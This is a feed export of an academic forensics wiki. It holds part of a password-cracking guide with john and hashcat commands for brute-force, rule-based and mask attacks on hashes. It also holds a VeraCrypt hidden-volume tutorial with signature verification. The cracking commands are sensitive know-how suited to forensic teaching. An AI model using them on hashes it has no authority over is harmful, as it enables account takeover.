&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;john -wordlist=&amp;quot;source_wordlist.txt&amp;quot; -rules=Single,Wordlist -stdout &amp;gt; &amp;quot;single_wordlist.txt&amp;quot;&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Procedure&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This Chapter provides a basic guideline for offline password cracking. It is intended for scenarios, where the analysist is presented with a hashed password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Identification&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
First, the according hashing algorithm must be identified. the In a nutshell there are there are three componenents used for manual hash identification:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Special Characters&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Character Set&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Length of the Hash&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
There are automated tools for the terminal or online that perform the identification based on HEX encoded hashes. But it is always only about guessing and probability, since f.e. cascaded algorithms cannot simply be identified. This should be used in combination with manual identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left:15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashid&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hash-identifier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net/hash_type_checker md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://www.onlinehashcrack.com/hash-identification.php onlinehashcrack.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://hashes.com/en/tools/hash_identifier hashes.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The passwords must first be sanitized and decoded, if necessary. The goal is to get a HEX string in the next step. &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; may be used to indicate HEX, but is not important and can be discarded. Furthermore the special characters &amp;lt;code&amp;gt;:&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt; are commonly used as delimiter between salt and digest and are not part of the charset. For all passwords which are not of the charset [a-fA-F0-9] a BASE64 encoding, with the charset [A-Za-z0-9+/], was used. Base{16,32,64} encoding is usually recognized quickly due to one or two trailing &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt;, which are used for padding. The Base{16,32,64} encoding format and charset is described in [https://www.rfc-editor.org/rfc/rfc4648.txt RFC4648]. In this scenario BASE64 and HEX encoding should be the only ones that are used. Mind the &amp;lt;code&amp;gt;-n&amp;lt;/code&amp;gt; with the &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt; command in oder to supress adding a trailing &amp;lt;code&amp;gt;\n&amp;lt;/code&amp;gt;. The hashcat [https://hashcat.net/wiki/doku.php?id=example_hashes example hashes] or the &amp;lt;code&amp;gt;john --list=format-details&amp;lt;/code&amp;gt; can be used as a reference for manual identification. If there is information about the system that creates or uses the hashes, its documentation could be consulted. Below some helper commands for manual hash identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# ASCII to Base64 &lt;br /&gt;
echo -n $STRING | base64 &lt;br /&gt;
# Base64 to ASCII &lt;br /&gt;
echo -n $BASE64 | base64 -d &lt;br /&gt;
# ASCII to HEX &lt;br /&gt;
echo -n $STRING | xxd -pu &lt;br /&gt;
# String length &lt;br /&gt;
echo -n $STRING | wc -c &lt;br /&gt;
# HEX encoded String bit length &lt;br /&gt;
echo $((`echo -n $HEX_ENCODED_STRING | wc -c` / 2)) &lt;br /&gt;
echo -n $HEX_ENCODED_STRING | perl -lpe &#039;$_=unpack&amp;quot;B*&amp;quot;&#039; | wc -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Cracking&amp;lt;/h2&amp;gt;&lt;br /&gt;
It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU). See also [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]. John the Ripper has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks using the CPU. Hashcat is claimed to be the world’s fastest and most advanced open-source password recovery utility and supports five unique attack modes using GPUs, DSPs, FPGAs, and co-processors. The John jumbo edition supports way more hash types than hashcat (~2300 &amp;gt; ~200), while hashcat is highly optimized and may not run an any hardware and OS. Alternatively there are online lookup tables. However, this is useless for most slated hashes and advanced hashing algorithms. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/i&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashcat&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;RainbowCrack&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://crackstation.net crackstation.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://google.com Google]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;!--The following paragraphs present the most common modes used with password attacks. For supported attack modes consider the [https://www.openwall.com/john/doc/MODES.shtml john] and [https://hashcat.net/wiki/ hashcat] documentation or man pages instead.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Bruteforce attacks&#039;&#039;&#039; try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored.&lt;br /&gt;
* &#039;&#039;&#039;Dictionary attacks&#039;&#039;&#039; are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence.&lt;br /&gt;
* &#039;&#039;&#039;Rainbow attacks&#039;&#039;&#039; are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function.&lt;br /&gt;
* &#039;&#039;&#039;Hybrid attacks&#039;&#039;&#039; combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password is known.&lt;br /&gt;
* &#039;&#039;&#039;Rule-based attacks&#039;&#039;&#039; use methods to change passwords to cover all variants.&lt;br /&gt;
* &#039;&#039;&#039;Syllable attacks&#039;&#039;&#039;: Combination of bruteforce and dictionary attack checking all permutations of each word within a wordlist.&lt;br /&gt;
* &#039;&#039;&#039;Other attacks&#039;&#039;&#039;: Combinator, Fingerprint, Mask, Toggle-Case, Permutation, TableLookup, PRINCE.--&amp;gt;&lt;br /&gt;
&amp;lt;h3&amp;gt;Examples&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Hash detection&lt;br /&gt;
john $HASHFILE&lt;br /&gt;
&lt;br /&gt;
# Incremental Brute-force&lt;br /&gt;
john --incremental=ASCII $HASHFILE --format=dynamic_1 --fork=16&lt;br /&gt;
&lt;br /&gt;
# Rule-based&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist,Single \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
&lt;br /&gt;
# Custom rule that adds a new line to the end of ech password from a wordlist&lt;br /&gt;
cat AddNewLine.rule&lt;br /&gt;
[List.Rules:AddNewLine]&lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
sudo nice -n -20 john $HASHFILE --rules=AddNewLine.rule \&lt;br /&gt;
   --wordlist=$WORDLIST --format=Raw-SHA1&lt;br /&gt;
&lt;br /&gt;
# Bruteforce&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 3 password?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Wordlist + Mask attack&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 6 $WORDLIST ?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Custom Rule&lt;br /&gt;
cat AddNewLine.rule           &lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
# Straight attack /w custom rule&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 -r AddNewLine.rule \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 0 $WORDLIST&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Related&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[Password Security]]&lt;br /&gt;
* [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]&lt;br /&gt;
* [[Acquisition and Cracking of macOS User Passwords]]&lt;br /&gt;
* [[Password cracking on Android]]&lt;br /&gt;
* [[WPA/WPA2 PSK deauthentication attack]]&lt;br /&gt;
* [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [W1] WeakPass: Pick the right wordlist. (Visited: 16.10.2020):&lt;br /&gt;
** https://weakpass.com/wordlist&lt;br /&gt;
** https://weakpass.com/calc&lt;br /&gt;
* [W2] Kali Linux: The quieter you become, the more you are able to hear https://www.kali.org (Visited: 25.11.2019)&lt;br /&gt;
* [W3] Openwall: John the Ripper password cracker (Visited: 22.11.2019): &lt;br /&gt;
** https://www.openwall.com/john/ &lt;br /&gt;
** https://openwall.info/wiki/john/benchmarks &lt;br /&gt;
** https://openwall.info/wiki/john/johnny &lt;br /&gt;
** https://openwall.info/wiki/john/GPU &lt;br /&gt;
** git://github.com/magnumripper/JohnTheRipper&lt;br /&gt;
** https://www.openwall.com/john/doc/MODES.shtml&lt;br /&gt;
** https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC&lt;br /&gt;
* [W4] Hashcat: Advanced Password Recovery (Visited: 23.11.2019): &lt;br /&gt;
** https://hashcat.net/hashcat/ &lt;br /&gt;
** https://hashcat.net/wiki/ &lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=hashcat &lt;br /&gt;
** https://github.com/hashcat/hashcat&lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=example_hashes&lt;br /&gt;
* [W5] Aircrack-ng: complete suite of tools to assess WiFi network security:&lt;br /&gt;
** https://www.aircrack-ng.org/documentation.html &lt;br /&gt;
** https://github.com/aircrack-ng/aircrack-ng&lt;br /&gt;
* [W6] Varonis: How to Use John the Ripper (Updated: 13.08.2019, Visited: 25.11.2019): &lt;br /&gt;
** https://www.varonis.com/blog/john-the-ripper/ &lt;br /&gt;
* [W7] NVIDIA: High Performance Computing (Visited: 25.11.2019):&lt;br /&gt;
** https://developer.nvidia.com/opencl &lt;br /&gt;
** https://developer.nvidia.com/cuda-zone &lt;br /&gt;
* [W8] ophcrack: a free Windows password cracker (Visited: 25.11.2019): &lt;br /&gt;
** https://ophcrack.sourceforge.io/&lt;br /&gt;
* [B1] Hash Crack: Password Cracking Manual. NETMUX, 2019, ISBN: 9781793458612.&lt;br /&gt;
* [P1] Special Publication 800-63: Digital Identity Guidelines. NIST, 2017, DOI: NIST.SP.800-63-3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=4637</id>
		<title>Block Device Encryption - VeraCrypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=4637"/>
		<updated>2020-10-15T21:56:25Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes how to create, mount and dismount a virtual encrypted disk with hidden container using VeraCrypt for Linux from the terminal.&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Install (https://www.veracrypt.fr/en/Downloads.html)&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&lt;br /&gt;
# Create encrypted volume (interactive)&lt;br /&gt;
veracrypt -c&lt;br /&gt;
# Mount encrypted volume (interactive)&lt;br /&gt;
veracrypt $ENC_FILE $MOUNT_POINT&lt;br /&gt;
# List mounted volumes&lt;br /&gt;
veracrypt -l&lt;br /&gt;
# Unmount a specific Veracrypt volumes&lt;br /&gt;
veracrypt -d $ENC_FILE&lt;br /&gt;
# Unmount all Veracrypt volumes&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
veracrypt -h&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (Here: Ubuntu 20.04 LTS)&lt;br /&gt;
* VeraCrypt Console (Installation notes below) (Here: VeraCrypt 1.24-update7)&lt;br /&gt;
&lt;br /&gt;
=== Install pre-build binary ===&lt;br /&gt;
&lt;br /&gt;
This section downloads the the veracrypt package, verify its integrity and finally installs it. Get the download link for the appropriate System from &amp;lt;code&amp;gt;https://www.veracrypt.fr/en/Downloads.html&amp;lt;/code&amp;gt; and copy the download link to the variable in the variable &amp;lt;code&amp;gt;DEB_PACKAGE_HREF&amp;lt;/code&amp;gt;. For all unsupported Linux-based OS, proceed to the next section &amp;amp;quot;build from source&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE DESIRED VERSION AND DISTRO&lt;br /&gt;
# Here: VeraCrypt Console 1.24u7 for Ubuntu 20.04 (amd64)&lt;br /&gt;
DEB_PACKAGE_HREF=&amp;quot;https://launchpad.net/veracrypt/trunk/1.24-update7/+download/veracrypt-console-1.24-Update7-Ubuntu-20.04-amd64.deb&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Helper variables used in the following for a better overview&lt;br /&gt;
# Simply copy paste this block to the terminal&lt;br /&gt;
SIG_DEB_PACKAGE_HREF=$DEB_PACKAGE_HREF&amp;quot;.sig&amp;quot;&lt;br /&gt;
PGP_PUBLIC_KEY_HREF=&amp;quot;https://www.idrix.fr/VeraCrypt/VeraCrypt_PGP_public_key.asc&amp;quot;&lt;br /&gt;
# Reference to the local file names&lt;br /&gt;
LOCAL_PATH=&amp;quot;/var/tmp/&amp;quot;&lt;br /&gt;
DEB_PACKAGE=$LOCAL_PATH${DEB_PACKAGE_HREF##*/}&lt;br /&gt;
SIG_DEB_PACKAGE=$LOCAL_PATH${SIG_DEB_PACKAGE_HREF##*/}&lt;br /&gt;
PGP_PUBLIC_KEY=$LOCAL_PATH${PGP_PUBLIC_KEY_HREF##*/}&lt;br /&gt;
# VeraCrypt PGP public key RSA fingerprint &lt;br /&gt;
FINGERPRINT=&amp;quot;5069A233D55A0EEB174A5FC3821ACD02680D16DE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Download the necessary files&lt;br /&gt;
wget $DEB_PACKAGE_HREF -O $DEB_PACKAGE&lt;br /&gt;
wget $SIG_DEB_PACKAGE_HREF -O $SIG_DEB_PACKAGE&lt;br /&gt;
wget $PGP_PUBLIC_KEY_HREF -O $PGP_PUBLIC_KEY&lt;br /&gt;
&lt;br /&gt;
# Verify PGP Signature&lt;br /&gt;
gpg --import --import-options show-only $PGP_PUBLIC_KEY | grep $FINGERPRINT&lt;br /&gt;
# Only continue if the $PGP_PUBLIC_KEY matches the static $FINGERPRINT. &lt;br /&gt;
# Else, someone tries to trick you.&lt;br /&gt;
gpg --import $PGP_PUBLIC_KEY&lt;br /&gt;
gpg --verify $SIG_DEB_PACKAGE $DEB_PACKAGE&lt;br /&gt;
# Only continue if the $SIG_DEB_PACKAGE verfies the $DEB_PACKAGE&#039;s integrity&lt;br /&gt;
&lt;br /&gt;
# Install the veracrypt package&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Build from source ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Required packages (Adapt to the OS specific package manager)&lt;br /&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt install yasm make gcc pkg-config fuse libfuse-dev&lt;br /&gt;
&lt;br /&gt;
# Download source code&lt;br /&gt;
git clone https://github.com/veracrypt/VeraCrypt /var/tmp/VeraCrypt&lt;br /&gt;
# Won&#039;t build without this library eventhough the NOGUI bit is set&lt;br /&gt;
git clone https://github.com/wxWidgets/wxWidgets /var/tmp/VeraCrypt/src/wxWidgets&lt;br /&gt;
git -C /var/tmp/VeraCrypt/src/wxWidgets/ submodule update --init 3rdparty/catch&lt;br /&gt;
&lt;br /&gt;
# Build and link&lt;br /&gt;
make WXSTATIC=1 WX_ROOT=/var/tmp/VeraCrypt/src/wxWidgets/ wxbuild -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
make WXSTATIC=1 -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
sudo mv /var/tmp/VeraCrypt/src/Main/varacrypt /usr/bin/&lt;br /&gt;
&lt;br /&gt;
# Test&lt;br /&gt;
veracrypt --version# Here: VeraCrypt 1.24-Update7&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Procedure ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;VeraCrypt 1.24 Parameters&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;: &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Volume types&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] Normal [&#039;&#039;&#039;2&#039;&#039;&#039;] Hidden&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encryption Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] AES [&#039;&#039;&#039;2&#039;&#039;&#039;] Serpent [&#039;&#039;&#039;3&#039;&#039;&#039;] Twofish [&#039;&#039;&#039;4&#039;&#039;&#039;] Camellia [&#039;&#039;&#039;5&#039;&#039;&#039;] Kuznyechik [&#039;&#039;&#039;6&#039;&#039;&#039;] AES(Twofish) [&#039;&#039;&#039;7&#039;&#039;&#039;] AES(Twofish(Serpent)) [&#039;&#039;&#039;8&#039;&#039;&#039;] Camellia(Kuznyechik) [&#039;&#039;&#039;9&#039;&#039;&#039;] Camellia(Serpent) [&#039;&#039;&#039;10&#039;&#039;&#039;] Kuznyechik(AES) [&#039;&#039;&#039;11&#039;&#039;&#039;] Kuznyechik(Serpent(Camellia)) [&#039;&#039;&#039;12&#039;&#039;&#039;] Kuznyechik(Twofish) [&#039;&#039;&#039;13&#039;&#039;&#039;] Serpent(AES) [&#039;&#039;&#039;14&#039;&#039;&#039;] Serpent(Twofish(AES)) [&#039;&#039;&#039;15&#039;&#039;&#039;] Twofish(Serpent)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Hash Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] SHA-512 [&#039;&#039;&#039;2&#039;&#039;&#039;] Whirlpool [&#039;&#039;&#039;3&#039;&#039;&#039;] SHA-256 [&#039;&#039;&#039;4&#039;&#039;&#039;] Streebog&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filesystems&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] None [&#039;&#039;&#039;2&#039;&#039;&#039;] FAT [&#039;&#039;&#039;3&#039;&#039;&#039;] Linux Ext2 [&#039;&#039;&#039;4&#039;&#039;&#039;] Linux Ext3 [&#039;&#039;&#039;5&#039;&#039;&#039;] Linux Ext4 [&#039;&#039;&#039;6&#039;&#039;&#039;] NTFS [&#039;&#039;&#039;7&#039;&#039;&#039;] exFAT [&#039;&#039;&#039;8&#039;&#039;&#039;] Btrfs&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Create outter container ===&lt;br /&gt;
&lt;br /&gt;
The outter container will be configured using a basic &amp;lt;code&amp;gt;{AES, SHA256, Password}&amp;lt;/code&amp;gt; configuration and size of 25MB, for the sake of an example. Any parameters may be adapted as needed while using the &amp;lt;code&amp;gt;-c&amp;lt;/code&amp;gt; flag, and are elaborated sufficiently in the interactive prompt. The &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt; flag may be used to access the help for further information. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 1&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Volume size (sizeK/size[M]/sizeG): 24414K&lt;br /&gt;
Encryption Algorithm: 1&lt;br /&gt;
Hash algorithm: 3&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Enter keyfile path [none]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add hidden container ===&lt;br /&gt;
&lt;br /&gt;
After creating the outter container, an inner hidden container can be added. The hidden container will be configured using s sophisticated &amp;lt;code&amp;gt;{AES(Twofish), SHA512, {Password, custom PIM, Keyfile}}&amp;lt;/code&amp;gt; configuration and size of 5MB, for the sake of an example. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;$ veracrypt -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 2&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Hidden volume size (sizeK/size[M]/sizeG): 3883K&lt;br /&gt;
Encryption Algorithm: 6&lt;br /&gt;
Hash algorithm: 1&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile path [none]: ./Example_Keyfile.png&lt;br /&gt;
Keyfile path [finish]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount container ===&lt;br /&gt;
&lt;br /&gt;
Simply mount VeraCrypt container via text user interface &amp;lt;code&amp;gt;-t, --text&amp;lt;/code&amp;gt;, which is enabled by default. Or mount in a single command referencing to &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt $ENC_CONTAINER_FILE $MOUNT_POINT &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==== Example: Mount FILENAME.hc outter container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Keyfile [none]: [ENTER]&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Example: Mount FILENAME.hc hidden container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile [none]: Keyfile.png&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== List Mounted Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -l&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Dismount Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Specific&lt;br /&gt;
veracrypt -d $MOUNTPOINT&lt;br /&gt;
# All&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/veracrypt/VeraCrypt&lt;br /&gt;
* https://www.veracrypt.fr/en/Downloads.html&lt;br /&gt;
* https://www.veracrypt.fr/en/Digital%20Signatures.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_LUPUS-Electronics_devices&amp;diff=4636</id>
		<title>Examination of LUPUS-Electronics devices</title>
